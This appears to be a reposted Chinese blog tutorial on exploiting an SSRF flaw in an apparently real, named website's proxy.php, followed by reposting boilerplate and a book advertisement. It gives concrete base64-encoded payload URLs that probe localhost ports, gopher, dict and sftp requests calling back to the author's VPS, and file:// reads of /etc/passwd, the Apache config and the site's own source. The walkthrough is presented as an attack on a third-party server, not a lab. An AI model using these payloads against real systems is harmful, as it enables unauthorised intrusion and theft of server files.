我发现一个存在SSRF的随机web网站，为了利用它我应该将输入数据编码为base64格式，下面是正常的URL，这会将我们定位到我们提供的url地址上面去
http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovL3d3dy50b3A4MHNnYW1lcy5jb20vc2l0ZS9jb250ZW50L3BhY21hbg==
所以让我们尝试编码 http://127.0.0.1:80，并将它传给url参数aHR0cDovLzEyNy4wLjAuMTo4MA==
http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovLzEyNy4wLjAuMTo4MA==
尝试一下443端口
出现Bad Request响应是因为我们使用HTTP但是使用了443端口。现在我们继续尝试gopher、dict和sftp。我将在我的VPS中监听1337端口
gopher://my_vps_ip:1337/_pacenoge dict://my_vps_ip:1337 sftp://my_vps_ip:1337
可以看到上述请求都成功了。但还有什么我们没有尝试呢？对了，是file:///etc/passwd
file:///etc/passwd
接着我想看看httpd.conf
file:///etc/httpd/conf/httpd.conf
通过阅读httpd.conf文件我知道了web服务的根目录/home/playfreedownloadgames/public_html 所以我可以读取proxy.php的文件内容
file:////home/playfreedownloadgames/public_html/proxy.php
以上所述就是小编给大家介绍的《第十四篇：SSRF读取本地文件》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
猜你喜欢:
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
Beginning ASP.NET 4 in C# and Vb
Imar Spaanjaars / Wrox / 2010-3-19 / GBP 29.99
This book is for anyone who wants to learn how to build rich and interactive web sites that run on the Microsoft platform. With the knowledge you gain from this book, you create a great foundation to ......一起来看看 《Beginning ASP.NET 4 in C# and Vb》 这本书的介绍吧!
